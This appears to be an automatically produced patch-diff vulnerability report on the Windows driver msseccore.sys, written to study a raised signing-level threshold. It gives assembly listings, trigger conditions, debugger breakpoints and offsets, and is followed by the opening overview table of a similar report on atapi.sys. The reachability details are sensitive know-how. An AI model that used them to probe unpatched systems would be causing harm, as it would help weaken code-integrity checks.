&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_s0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00082E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched — the fix&lt;/h3&gt;
&lt;p&gt;The patched build reorders the memset-inlined zeroing but is otherwise the same; the required-level store lands at the relocated address &lt;code&gt;0x1C0008239&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0008239&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_68&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A000008h&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt; fix: low byte 0x08 = SE_SIGNING_LEVEL_MICROSOFT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Key annotations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Weaker instruction (unpatched):&lt;/strong&gt; &lt;code&gt;0x1C0008277&lt;/code&gt; &lt;code&gt;mov [rbp+57h+var_68], 0A000006h&lt;/code&gt; — required signing level &lt;code&gt;0x06&lt;/code&gt; (Store) at descriptor offset &lt;code&gt;+0x08&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fix instruction (patched):&lt;/strong&gt; &lt;code&gt;0x1C0008239&lt;/code&gt; &lt;code&gt;mov [rbp+57h+var_68], 0A000008h&lt;/code&gt; — required signing level &lt;code&gt;0x08&lt;/code&gt; (Microsoft).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dispatch:&lt;/strong&gt; &lt;code&gt;0x1C00082AD&lt;/code&gt; (unpatched) / &lt;code&gt;0x1C000826F&lt;/code&gt; (patched) &lt;code&gt;call cs:__guard_dispatch_icall_fptr&lt;/code&gt; — CFG-guarded call to the OS integrity callback held in &lt;code&gt;qword_1C0007008&lt;/code&gt;; &lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;&amp;amp;descriptor&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No bounds/length issue:&lt;/strong&gt; there is no array or size problem here. The change is purely the value of the required-level constant.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach and fire the integrity-check path:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Driver loaded and integrity callback captured.&lt;/strong&gt; During initialization the driver creates and registers a callback (&lt;code&gt;ExCreateCallback&lt;/code&gt;/&lt;code&gt;ExRegisterCallback&lt;/code&gt; with &lt;code&gt;SecKernelIntegrityCallback&lt;/code&gt;). When the OS notifies it, &lt;code&gt;SecKernelIntegrityCallback&lt;/code&gt; stores the provided function pointer into &lt;code&gt;qword_1C0007008&lt;/code&gt;. &lt;code&gt;SecIsKernelIntegrityEnabled&lt;/code&gt; (&lt;code&gt;0x1C0001060&lt;/code&gt;) returns true only once &lt;code&gt;qword_1C0007008 != 0&lt;/code&gt; (gate 1).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind as the kernel client.&lt;/strong&gt; A kernel-mode caller invokes the exported &lt;code&gt;SecBindHost&lt;/code&gt; (&lt;code&gt;0x1C00010B0&lt;/code&gt;). &lt;code&gt;SecBindHost&lt;/code&gt; first validates the caller with &lt;code&gt;SecValidateDriverFileSignatureLevel&lt;/code&gt; (which enforces Windows-signing via &lt;code&gt;SecIsWindowsSigned&lt;/code&gt;) and other checks, then writes the callback table into the caller's buffer, including &lt;code&gt;off_1C0004008&lt;/code&gt; (= &lt;code&gt;&amp;amp;SecDispatchKernelIntegrityCheck&lt;/code&gt;) at offset &lt;code&gt;+0x8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invoke the integrity-check callback.&lt;/strong&gt; The bound host calls that table entry, routing &lt;code&gt;SecDispatchKernelIntegrityCheck&lt;/code&gt; (&lt;code&gt;0x1C0001650&lt;/code&gt;) → &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Argument constraints for &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt;&lt;/strong&gt; (Microsoft x64):&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt; (&lt;code&gt;a1&lt;/code&gt;) = binding type, must satisfy &lt;code&gt;a1 &amp;lt; 6&lt;/code&gt; (&lt;code&gt;cmp r14d, 6 ; jl&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt; (&lt;code&gt;a2&lt;/code&gt;) = object pointer, must be non-NULL when &lt;code&gt;a1 != 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r8&lt;/code&gt; (&lt;code&gt;a3&lt;/code&gt;) = secondary object, consistent with gates 2–5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APCs must be enabled.&lt;/strong&gt; &lt;code&gt;KeAreApcsDisabled()&lt;/code&gt; at &lt;code&gt;0x1C000825F&lt;/code&gt; must return false.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavioral difference.&lt;/strong&gt; With the unpatched required level &lt;code&gt;0x06&lt;/code&gt;, an object meeting only &lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt; satisfies the callback; the patched required level &lt;code&gt;0x08&lt;/code&gt; requires &lt;code&gt;SE_SIGNING_LEVEL_MICROSOFT&lt;/code&gt;. The exact status returned by the callback for a sub-threshold object is determined by the OS routine in &lt;code&gt;qword_1C0007008&lt;/code&gt; and is not fixed by this driver.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Nature of the issue&lt;/h3&gt;
&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; a memory-corruption primitive. It is a &lt;strong&gt;trust-policy weakness&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;What changes:&lt;/em&gt; an object presented to the kernel-integrity callback needed only &lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt; (&lt;code&gt;0x06&lt;/code&gt;) in the unpatched build; the patched build requires &lt;code&gt;SE_SIGNING_LEVEL_MICROSOFT&lt;/code&gt; (&lt;code&gt;0x08&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;em&gt;What it does not give:&lt;/em&gt; kernel code execution, arbitrary kernel read/write, or any memory-safety primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Practical reach&lt;/h3&gt;
&lt;p&gt;The path is only reachable by a component that has already bound through the exported &lt;code&gt;SecBindHost&lt;/code&gt;, which itself enforces a Windows-signing check on the caller and bug-checks on range/lock violations. The required-level constant is therefore an internal, defense-in-depth trust gate. Raising it from Store to Microsoft narrows which signed objects the integrity callback will accept.&lt;/p&gt;
&lt;h3&gt;Mitigations context&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Relevance&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CFG (Control Flow Guard)&lt;/td&gt;
&lt;td&gt;The callback dispatch at &lt;code&gt;0x1C00082AD&lt;/code&gt; is CFG-guarded. Not relevant to this issue — it is not a control-flow hijack.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kASLR / SMEP / SMAP / HVCI&lt;/td&gt;
&lt;td&gt;Not relevant. No address leak or user-mode vector is involved.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Code Integrity / signing policy&lt;/td&gt;
&lt;td&gt;Directly relevant: this constant is the signing-level threshold the driver requires from the integrity callback.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Target: &lt;strong&gt;&lt;code&gt;msseccore_unpatched.sys&lt;/code&gt;&lt;/strong&gt;, kernel debugger attached.&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp msseccore_unpatched!SecKernelIntegrityCheck                 &amp;quot;Function entry — observe arg setup&amp;quot;
bp msseccore_unpatched+0x8277                                  &amp;quot;Required signing-level store (0x06)&amp;quot;
bp msseccore_unpatched+0x82AD                                  &amp;quot;CFG-guarded integrity callback dispatch&amp;quot;
bp msseccore_unpatched!SecDispatchKernelIntegrityCheck          &amp;quot;Wrapper into SecKernelIntegrityCheck&amp;quot;
bp msseccore_unpatched!SecBindHost                             &amp;quot;Exported entry that hands out the callback table&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For the patched binary the required-level store lands at &lt;code&gt;msseccore_patched+0x8239&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;What to inspect&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stop&lt;/th&gt;
&lt;th&gt;Register / Memory&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; entry&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = binding type, &lt;code&gt;rdx&lt;/code&gt; = object, &lt;code&gt;r8&lt;/code&gt; = secondary object&lt;/td&gt;
&lt;td&gt;How the arguments arrive.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x826F&lt;/code&gt; (before the level store)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[rbp-0x19]&lt;/code&gt; start of the descriptor&lt;/td&gt;
&lt;td&gt;Confirm it was zeroed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x8277&lt;/code&gt; (level store)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;qword [rbp-0x11]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unpatched: &lt;code&gt;0x0A000006&lt;/code&gt;. Patched (&lt;code&gt;+0x8239&lt;/code&gt;): &lt;code&gt;0x0A000008&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x82AD&lt;/code&gt; (dispatch)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt; = &lt;code&gt;&amp;amp;descriptor&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt; = output area&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dq rcx L8&lt;/code&gt; shows the descriptor; &lt;code&gt;+0x08&lt;/code&gt; holds the required level.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x82B3&lt;/code&gt; (return check)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Compared against &lt;code&gt;0xC0000016&lt;/code&gt; (&lt;code&gt;STATUS_MORE_PROCESSING_REQUIRED&lt;/code&gt;); equal means the retry loop continues.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C0008277&lt;/code&gt; — required-level store &lt;code&gt;0x0A000006&lt;/code&gt; (Store) in unpatched.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0008239&lt;/code&gt; (patched) — required-level store &lt;code&gt;0x0A000008&lt;/code&gt; (Microsoft).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C000820E&lt;/code&gt; — &lt;code&gt;call SecIsKernelIntegrityEnabled&lt;/code&gt;, gate 1 (must return true).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C000825F&lt;/code&gt; — &lt;code&gt;call cs:__imp_KeAreApcsDisabled&lt;/code&gt;, must return false.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00082AD&lt;/code&gt; — &lt;code&gt;call cs:__guard_dispatch_icall_fptr&lt;/code&gt;, integrity callback dispatch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00082B3&lt;/code&gt; — return compared against &lt;code&gt;0xC0000016&lt;/code&gt; (retry loop).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Descriptor / offset notes&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;descriptor @ [rbp-0x19]  (0x40 bytes)
  +0x00  Size                = 0x40
  +0x08  required level      = 0x0A000006 (unpatched) / 0x0A000008 (patched)   ; low byte = SE_SIGNING_LEVEL
  +0x10  flags               = 0x80000
  +0x30  binding type        = a1
  +0x38  object              = a2 (or a3 when a2 == 0)
output  @ [rbp+0x27]  (0x28 bytes)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Ten functions differ. Only one is security-relevant; the rest are compiler/relocation noise or a benign pool-flag change.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; (&lt;code&gt;0x1C00081B8&lt;/code&gt; → &lt;code&gt;0x1C0008178&lt;/code&gt;)&lt;/strong&gt; — &lt;strong&gt;SECURITY-RELEVANT.&lt;/strong&gt; Required signing level in the descriptor at offset &lt;code&gt;+0x08&lt;/code&gt; raised from &lt;code&gt;0xA000006&lt;/code&gt; (&lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt;) to &lt;code&gt;0xA000008&lt;/code&gt; (&lt;code&gt;SE_SIGNING_LEVEL_MICROSOFT&lt;/code&gt;). All other deltas in this function are memset-inlining/zeroing reorder.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Cosmetic / non-security changes:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;memmove&lt;/code&gt; (&lt;code&gt;0x1C0001C80&lt;/code&gt;)&lt;/strong&gt; — SIMD copy routine restructured (SSE/AVX paths reorganized). Semantically identical memory copy.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecCreateKernelClient&lt;/code&gt; (&lt;code&gt;0x1C0008378&lt;/code&gt;)&lt;/strong&gt; — variable rename and removal of an unused seed local; magic &lt;code&gt;0x28df01&lt;/code&gt; init, rundown refcount, and time query unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecRegisterKernelExtension&lt;/code&gt; (&lt;code&gt;0x1C00082F0&lt;/code&gt; → &lt;code&gt;0x1C0008304&lt;/code&gt;)&lt;/strong&gt; — &lt;code&gt;ExRegisterExtension&lt;/code&gt; registration with identical parameters; struct-init style change only.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecValidateDriverFileSignatureLevel&lt;/code&gt; (&lt;code&gt;0x1C00014C0&lt;/code&gt; → &lt;code&gt;0x1C000169C&lt;/code&gt;)&lt;/strong&gt; — variable renames, struct typing and zeroing-style change; the &lt;code&gt;SecIsWindowsSigned&lt;/code&gt; gate and all status codes are unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecBindHost&lt;/code&gt; (&lt;code&gt;0x1C00010B0&lt;/code&gt; → &lt;code&gt;0x1C00010E0&lt;/code&gt;)&lt;/strong&gt; — &lt;code&gt;a2&lt;/code&gt; kept in a register and a &lt;code&gt;min(a2,1)&lt;/code&gt; clamp rewrite; all validation, signature gating, locking, and the callback-table population are unchanged.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;0x1C000A008&lt;/code&gt; → &lt;code&gt;0x1C000A078&lt;/code&gt;)&lt;/strong&gt; — added explicit zeroing of a local before &lt;code&gt;RtlGetVersion&lt;/code&gt;; &lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt; reordered. Initialization sequence semantically identical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecCreateDriverValidationKernelEcp&lt;/code&gt; (&lt;code&gt;0x1C00085FC&lt;/code&gt; → &lt;code&gt;0x1C0008560&lt;/code&gt;)&lt;/strong&gt; — GUID pointer relocated (&lt;code&gt;data_1c00031c8&lt;/code&gt; → &lt;code&gt;data_1c00031d8&lt;/code&gt;); memset inlined. FsRtl ECP allocation/insertion logic identical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__GSHandlerCheckCommon&lt;/code&gt; (&lt;code&gt;0x1C0001BCC&lt;/code&gt;)&lt;/strong&gt; — explicit cast on an intermediate; relocation-driven address shift. Logic identical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SecAllocateKernelApcObject&lt;/code&gt; (&lt;code&gt;0x1C0001878&lt;/code&gt; → &lt;code&gt;0x1C0001884&lt;/code&gt;)&lt;/strong&gt; — removed a redundant &lt;code&gt;mov byte [rbx+0x70], 0&lt;/code&gt; already covered by the preceding structure memset. Allocation and refcount logic identical.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additional textual differences observed in the independent diff (&lt;code&gt;DriverUnload&lt;/code&gt;, &lt;code&gt;SecAllocatePoolWithTag&lt;/code&gt;, &lt;code&gt;SecFreeKernelApcObject&lt;/code&gt;, &lt;code&gt;SecDereferenceKernelApcObject&lt;/code&gt;, the three &lt;code&gt;SecKernelApc*Routine&lt;/code&gt; functions, &lt;code&gt;SecUninitializeKernelApcSupport&lt;/code&gt;) are relocation and decompiler-artifact differences (return-type inference, lookaside-list field naming). One concrete constant change appears in &lt;code&gt;SecAllocatePoolWithTag&lt;/code&gt;: the pool type passed to &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; changed from &lt;code&gt;0x200&lt;/code&gt; to &lt;code&gt;0x600&lt;/code&gt;. The non-executable bit (&lt;code&gt;0x200&lt;/code&gt;, &lt;code&gt;POOL_NX_ALLOCATION&lt;/code&gt;) is retained in both builds; the added &lt;code&gt;0x400&lt;/code&gt; bit does not remove a mitigation, so this is not a security fix.&lt;/p&gt;
&lt;p&gt;No security-relevant change was found beyond the single signing-level constant.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None. &lt;code&gt;unmatched_unpatched = 0&lt;/code&gt; and &lt;code&gt;unmatched_patched = 0&lt;/code&gt;. No sanitizer added or mitigation removed; the security-relevant change is entirely the one signing-level constant.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High for the diff/fix identification; Medium for the descriptor field semantics.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;High-confidence items:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The only security-relevant change is the required signing-level constant (&lt;code&gt;0xA000006&lt;/code&gt; → &lt;code&gt;0xA000008&lt;/code&gt;), visible in both the decompilation (&lt;code&gt;v8[1] = 167772166&lt;/code&gt; → &lt;code&gt;167772168&lt;/code&gt;) and a single-instruction assembly diff.&lt;/li&gt;
&lt;li&gt;The direction is a tightening: the patched build requires the higher signing level. This is confirmed against both builds and is not reversed.&lt;/li&gt;
&lt;li&gt;The signing-level numbering is corroborated inside this driver: &lt;code&gt;SecIsWindowsSigned&lt;/code&gt; uses &lt;code&gt;SeCompareSigningLevels&lt;/code&gt; against &lt;code&gt;0x0C&lt;/code&gt; (&lt;code&gt;SE_SIGNING_LEVEL_WINDOWS&lt;/code&gt;), consistent with &lt;code&gt;0x06 = STORE&lt;/code&gt; and &lt;code&gt;0x08 = MICROSOFT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The reachability path (&lt;code&gt;SecBindHost&lt;/code&gt; → &lt;code&gt;off_1C0004008&lt;/code&gt; = &lt;code&gt;SecDispatchKernelIntegrityCheck&lt;/code&gt; → &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt;) is established from the exported &lt;code&gt;SecBindHost&lt;/code&gt;, the &lt;code&gt;.data&lt;/code&gt; pointer table at &lt;code&gt;0x1C0004008&lt;/code&gt;, and the wrapper body at &lt;code&gt;0x1C0001650&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inferences / not confirmed:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The specific OS routine behind &lt;code&gt;qword_1C0007008&lt;/code&gt; is captured from the &lt;code&gt;ExRegisterCallback&lt;/code&gt; notification and is not resolved to a named kernel export in these binaries. It is described as an OS-provided kernel-integrity callback.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;0x0A000000&lt;/code&gt; high bits of the required-level field are treated as flags/mode carried with the low-byte signing level; the exact bit semantics are not derivable from the diff.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The low byte is interpreted as an &lt;code&gt;SE_SIGNING_LEVEL&lt;/code&gt; value based on the function's role and the corroborating use of &lt;code&gt;SeCompareSigningLevels&lt;/code&gt; elsewhere in the driver.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;What to verify before relying on this for exploitation scoping:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Resolve the routine in &lt;code&gt;qword_1C0007008&lt;/code&gt; at runtime to confirm exactly how the required level is compared.&lt;/li&gt;
&lt;li&gt;Enumerate which bound kernel clients can legitimately reach the callback table entry, and the downstream effect of a successful integrity check.&lt;/li&gt;
&lt;li&gt;Confirm, on a live system, the status difference between an object at Store level and one at Microsoft level across the two builds.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>atapi.sys — Missing 0xFF floating-bus status check in AtapiNoDeviceConnected (CWE-755) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/atapi_9b3e7eec-atapi-report-20260628-214002.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/atapi_9b3e7eec-atapi-report-20260628-214002.html</id><summary type="html">&lt;p&gt;KB5087545&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;atapi_unpatched.sys&lt;/code&gt; (image base &lt;code&gt;0x1C0000000&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;atapi_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9583&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;18&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
